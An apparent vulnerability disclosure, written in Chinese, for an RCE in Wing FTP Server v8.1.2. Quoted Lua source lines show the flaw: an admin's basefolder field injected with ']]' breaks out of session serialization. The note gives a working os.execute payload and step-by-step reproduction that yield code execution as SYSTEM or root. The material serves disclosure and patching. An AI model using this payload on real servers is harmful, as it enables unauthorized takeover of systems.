
CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
Wing FTP Server v8.1.2 包含一个远程代码执行(RCE)漏洞,该漏洞存在于会话序列化机制中。经过身份验证的管理员可以通过域管理员 mydirectory(基础文件夹)字段注入任意 Lua 代码,这些代码会通过 loadfile() 在服务器端执行。
此漏洞与 CVE-2025-47812 不同。在 v7.4.4 中针对 CVE-2025-47812 的修复仅处理了用户名字段中的空字节注入向量。底层不安全的会话序列化问题并未修复,并且在 v8.1.2 中仍可通过管理员的 basefolder 字段利用。
SessionModule.lua(第 103 行)和 SessionModuleAdmin.lua(第 104 行)中的会话序列化函数 serialize() 使用 Lua [[...]] 长字符串符号写入字符串值:
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
如果会话值包含 ]],长字符串会过早闭合,剩余内容将被解析为可执行的 Lua 代码。
在 cgi.lua(第 274-275 行)和 cgiadmin.lua(第 277-278 行)中存在括号净化代码,但已被注释掉:
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
原本用于强制执行此净化的会话元表也被禁用:
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282, cgiadmin.lua:285
步骤 1 — 通过域管理员 basefolder 注入载荷:
经过身份验证的完全管理员创建或修改一个域管理员账户。mydirectory 字段设置为:
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
端点 service_add_admin.html 和 service_modify_admin.html 不会净化 mydirectory 字段中的括号字符。(service_add_admin.html 会在第 14-15 行去掉用户名字段中的括号,但不会处理 mydirectory。)
步骤 2 — 触发执行:
当被注入的域管理员通过 service_login.html 登录时,basefolder 直接存储在会话中:
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
SessionModuleAdmin.save() 将此写入会话文件,内容为:
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
步骤 3 — 代码执行:
在该会话的下一次 HTTP 请求中,SessionModuleAdmin.load() 调用 loadfile(),然后调用 f()(第 184-188 行)。Lua 解析器将会话文件解释为:
_SESSION['admin_basefolder']=[[C:\ftproot]] --> 分配字符串 "C:\ftproot"
os.execute("whoami > C:\\proof.txt") --> 作为代码执行
--]] --> 剩余部分被注释掉
载荷以 Wing FTP Server 进程的权限运行(Windows 上为 SYSTEM,Linux 上为 root)。
已开发并测试了一个针对 Windows 上 Wing FTP Server v8.1.2 的有效 PoC 漏洞利用程序。
复现步骤:
登录管理面板
创建一个新的域管理员,其 mydirectory 值为:
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
以新创建的域管理员身份登录
导航到任意管理页面(触发会话加载)
验证 C:\wingftp_rce_proof.txt 是否已创建,其中包含服务器的用户名